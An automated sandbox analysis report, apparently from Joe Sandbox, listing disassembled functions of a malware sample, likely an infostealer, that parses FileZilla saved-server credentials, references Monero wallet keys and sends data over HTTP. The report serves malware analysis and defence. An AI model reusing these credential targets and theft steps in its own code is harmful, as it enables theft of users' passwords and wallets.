Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 2bb53df6cdb39f958b8d5accb58a0486587db20279ca34fee1bf4cec30958e02
Instruction ID: 49c03f442529e63270f1a11783e6ac5d64791f349e52215b94bba565ea7b234b
Opcode Fuzzy Hash: 2bb53df6cdb39f958b8d5accb58a0486587db20279ca34fee1bf4cec30958e02
Instruction Fuzzy Hash: 2A62FABD6C1240AFE778DFA8F98C96A3BF9F78C601714851AA60BC724CD6399441DF60

Function 01007710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01007724
RtlAllocateHeap.NTDLL(00000000), ref: 0100772B
lstrcat.KERNEL32(?,00A59C80), ref: 010078DB
lstrcat.KERNEL32(?,?), ref: 010078EF
lstrcat.KERNEL32(?,?), ref: 01007903
lstrcat.KERNEL32(?,?), ref: 01007917
lstrcat.KERNEL32(?,00A5E1D0), ref: 0100792B
lstrcat.KERNEL32(?,00A5E308), ref: 0100793F
lstrcat.KERNEL32(?,00A5E230), ref: 01007952
lstrcat.KERNEL32(?,00A5E458), ref: 01007966
lstrcat.KERNEL32(?,00A59D08), ref: 0100797A
lstrcat.KERNEL32(?,?), ref: 0100798E
lstrcat.KERNEL32(?,?), ref: 010079A2
lstrcat.KERNEL32(?,?), ref: 010079B6
lstrcat.KERNEL32(?,00A5E1D0), ref: 010079C9
lstrcat.KERNEL32(?,00A5E308), ref: 010079DD
lstrcat.KERNEL32(?,00A5E230), ref: 010079F1
lstrcat.KERNEL32(?,00A5E458), ref: 01007A04
lstrcat.KERNEL32(?,00A59D70), ref: 01007A18
lstrcat.KERNEL32(?,?), ref: 01007A2C
lstrcat.KERNEL32(?,?), ref: 01007A40
lstrcat.KERNEL32(?,?), ref: 01007A54
lstrcat.KERNEL32(?,00A5E1D0), ref: 01007A68
lstrcat.KERNEL32(?,00A5E308), ref: 01007A7B
lstrcat.KERNEL32(?,00A5E230), ref: 01007A8F
lstrcat.KERNEL32(?,00A5E458), ref: 01007AA3
lstrcat.KERNEL32(?,00A59DD8), ref: 01007AB6
lstrcat.KERNEL32(?,?), ref: 01007ACA
lstrcat.KERNEL32(?,?), ref: 01007ADE
lstrcat.KERNEL32(?,?), ref: 01007AF2
lstrcat.KERNEL32(?,00A5E1D0), ref: 01007B06
lstrcat.KERNEL32(?,00A5E308), ref: 01007B1A
lstrcat.KERNEL32(?,00A5E230), ref: 01007B2D
lstrcat.KERNEL32(?,00A5E458), ref: 01007B41
lstrcat.KERNEL32(?,00A5E648), ref: 01007B55
lstrcat.KERNEL32(?,?), ref: 01007B69
lstrcat.KERNEL32(?,?), ref: 01007B7D
lstrcat.KERNEL32(?,?), ref: 01007B91
lstrcat.KERNEL32(?,00A5E1D0), ref: 01007BA4
lstrcat.KERNEL32(?,00A5E308), ref: 01007BB8
lstrcat.KERNEL32(?,00A5E230), ref: 01007BCC
lstrcat.KERNEL32(?,00A5E458), ref: 01007BDF
lstrcat.KERNEL32(?,00A5E6B0), ref: 01007BF3
lstrcat.KERNEL32(?,?), ref: 01007C07
lstrcat.KERNEL32(?,?), ref: 01007C1B
lstrcat.KERNEL32(?,?), ref: 01007C2F
lstrcat.KERNEL32(?,00A5E1D0), ref: 01007C43
lstrcat.KERNEL32(?,00A5E308), ref: 01007C56
lstrcat.KERNEL32(?,00A5E230), ref: 01007C6A
lstrcat.KERNEL32(?,00A5E458), ref: 01007C7E

Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020,010217FC), ref: 01007606
Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020,00000000), ref: 01007648
Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020, : ), ref: 0100765A
Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020,00000000), ref: 0100768F
Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020,01021804), ref: 010076A0
Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020,00000000), ref: 010076D3
Part of subcall function 010075D0: lstrcat.KERNEL32(2F958020,01021808), ref: 010076ED
Part of subcall function 010075D0: task.LIBCPMTD ref: 010076FB

lstrcat.KERNEL32(?,00A5EAA8), ref: 01007E0B
lstrcat.KERNEL32(?,00A5D7A0), ref: 01007E1E
lstrlen.KERNEL32(2F958020), ref: 01007E2B
lstrlen.KERNEL32(2F958020), ref: 01007E3B

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 2f1adf344cd14f2868ffd802330aa8d197bf06583c7578efc5941bc559ecc869
Instruction ID: bb64c700d7cbd53ac4c9c5f4e96c89d94826cf9fbe2d105c5c0a8a642c820eb2
Opcode Fuzzy Hash: 2f1adf344cd14f2868ffd802330aa8d197bf06583c7578efc5941bc559ecc869
Instruction Fuzzy Hash: 1F3245BAD40315ABE725EBA0EC88DDE737DBB54600F044689F20E63084EA79E785CF51

Function 01010250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

GetProcessHeap.KERNEL32(00000000,000F423F,01020DBA,01020DB7,01020DB6,01020DB3), ref: 01010362
RtlAllocateHeap.NTDLL(00000000), ref: 01010369
StrStrA.SHLWAPI(00000000,<Host>), ref: 01010385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010393
StrStrA.SHLWAPI(00000000,<Port>), ref: 010103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 010103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 01010419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 01010463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 0101051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 0101054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 01010562
lstrcat.KERNEL32(?,profile: null), ref: 01010571
lstrcat.KERNEL32(?,url: ), ref: 01010580
lstrcat.KERNEL32(?,00000000), ref: 01010593
lstrcat.KERNEL32(?,01021678), ref: 010105A2
lstrcat.KERNEL32(?,00000000), ref: 010105B5
lstrcat.KERNEL32(?,0102167C), ref: 010105C4
lstrcat.KERNEL32(?,login: ), ref: 010105D3
lstrcat.KERNEL32(?,00000000), ref: 010105E6
lstrcat.KERNEL32(?,01021688), ref: 010105F5
lstrcat.KERNEL32(?,password: ), ref: 01010604
lstrcat.KERNEL32(?,00000000), ref: 01010617
lstrcat.KERNEL32(?,01021698), ref: 01010626
lstrcat.KERNEL32(?,0102169C), ref: 01010635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 0101068E

Strings

browser: FileZilla, xrefs: 01010559
<Port>, xrefs: 010103C6
password: , xrefs: 010105FB
url: , xrefs: 01010577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 010102A4
<Host>, xrefs: 0101037C
profile: null, xrefs: 01010568
<Pass encoding="base64">, xrefs: 0101045A
<User>, xrefs: 01010410
login: , xrefs: 010105CA

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 81ae171a65c58ef26dbf4f7a0ccb3bc026188675e82ead4b42e57e2908c3cf29
Instruction ID: db115ed91c40c8e653d52b40289203e1ccbd8a20f5a04ba5979733b69b5344f0
Opcode Fuzzy Hash: 81ae171a65c58ef26dbf4f7a0ccb3bc026188675e82ead4b42e57e2908c3cf29
Instruction Fuzzy Hash: 5DD14175A41209DBDB14EBE4DD99EEE7778EF28310F444418F583A7088DF78AA46CB60

Function 0100A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101AA70: StrCmpCA.SHLWAPI(00A59228,0100A7A7,?,0100A7A7,00A59228), ref: 0101AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0100AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0100AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0100ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100A8B0

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

lstrcat.KERNEL32(?,00000000), ref: 0100ACEB
lstrcat.KERNEL32(?,01021320), ref: 0100ACFA
lstrcat.KERNEL32(?,00000000), ref: 0100AD0D
lstrcat.KERNEL32(?,01021324), ref: 0100AD1C
lstrcat.KERNEL32(?,00000000), ref: 0100AD2F
lstrcat.KERNEL32(?,01021328), ref: 0100AD3E
lstrcat.KERNEL32(?,00000000), ref: 0100AD51
lstrcat.KERNEL32(?,0102132C), ref: 0100AD60
lstrcat.KERNEL32(?,00000000), ref: 0100AD73
lstrcat.KERNEL32(?,01021330), ref: 0100AD82
lstrcat.KERNEL32(?,00000000), ref: 0100AD95
lstrcat.KERNEL32(?,01021334), ref: 0100ADA4
lstrcat.KERNEL32(?,00000000), ref: 0100ADB7
lstrlen.KERNEL32(?), ref: 0100AE0D
lstrlen.KERNEL32(?), ref: 0100AE1C

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

DeleteFileA.KERNEL32(00000000), ref: 0100AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0100ABD4

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 954a69a2cc50660a3246ba6a249e4d8de0f30dd8d73bbd39da77d6d949564842
Instruction ID: 2ac9ff28b13e86aedc86f32c18c2f300b5c6512514341ff52d5105699e67d6ae
Opcode Fuzzy Hash: 954a69a2cc50660a3246ba6a249e4d8de0f30dd8d73bbd39da77d6d949564842
Instruction Fuzzy Hash: 0E128475A51149EBDB15FBA0DD94EEE7379BF24210F404058F587A7098EF38AE0ACB60

Function 01005960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 010059F8
StrCmpCA.SHLWAPI(?,00A5EA78), ref: 01005A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01005B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00A5E9B8,00000000,?,00A5A2D0,00000000,?,01021A1C), ref: 01005E71
lstrlen.KERNEL32(00000000), ref: 01005E82
GetProcessHeap.KERNEL32(00000000,?), ref: 01005E93
RtlAllocateHeap.NTDLL(00000000), ref: 01005E9A
lstrlen.KERNEL32(00000000), ref: 01005EAF
lstrlen.KERNEL32(00000000), ref: 01005ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 01005EF1
lstrlen.KERNEL32(00000000,?,?), ref: 01005F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 01005F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 01005F4C
InternetCloseHandle.WININET(00000000), ref: 01005FB0
InternetCloseHandle.WININET(00000000), ref: 01005FBD
HttpOpenRequestA.WININET(00000000,00A5EA48,?,00A5E278,00000000,00000000,00400100,00000000), ref: 01005BF8

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

InternetCloseHandle.WININET(00000000), ref: 01005FC7

Strings

------, xrefs: 01005A96
------, xrefs: 01005D4C
", xrefs: 01005CD5
", xrefs: 01005E16
------, xrefs: 01005C0B

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: d20ea5f4931f18a29e9fe1ea92a09e0482a307a14619b879bad460587d42a84c
Instruction ID: dbd797d2b4835c76f695ce9fbcb98eb7ef272d3a8a01cdc7d5b1a031fa47e24e
Opcode Fuzzy Hash: d20ea5f4931f18a29e9fe1ea92a09e0482a307a14619b879bad460587d42a84c
Instruction Fuzzy Hash: F1120A76A21169EBDB15EBA0DC94FEEB378BF24710F404199E54763094EF342A4ACF60

Function 0100CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,00A5A210,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0100D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0100D0CE
lstrcat.KERNEL32(?,00000000), ref: 0100D208
lstrcat.KERNEL32(?,01021478), ref: 0100D217
lstrcat.KERNEL32(?,00000000), ref: 0100D22A
lstrcat.KERNEL32(?,0102147C), ref: 0100D239
lstrcat.KERNEL32(?,00000000), ref: 0100D24C
lstrcat.KERNEL32(?,01021480), ref: 0100D25B
lstrcat.KERNEL32(?,00000000), ref: 0100D26E
lstrcat.KERNEL32(?,01021484), ref: 0100D27D
lstrcat.KERNEL32(?,00000000), ref: 0100D290
lstrcat.KERNEL32(?,01021488), ref: 0100D29F
lstrcat.KERNEL32(?,00000000), ref: 0100D2B2
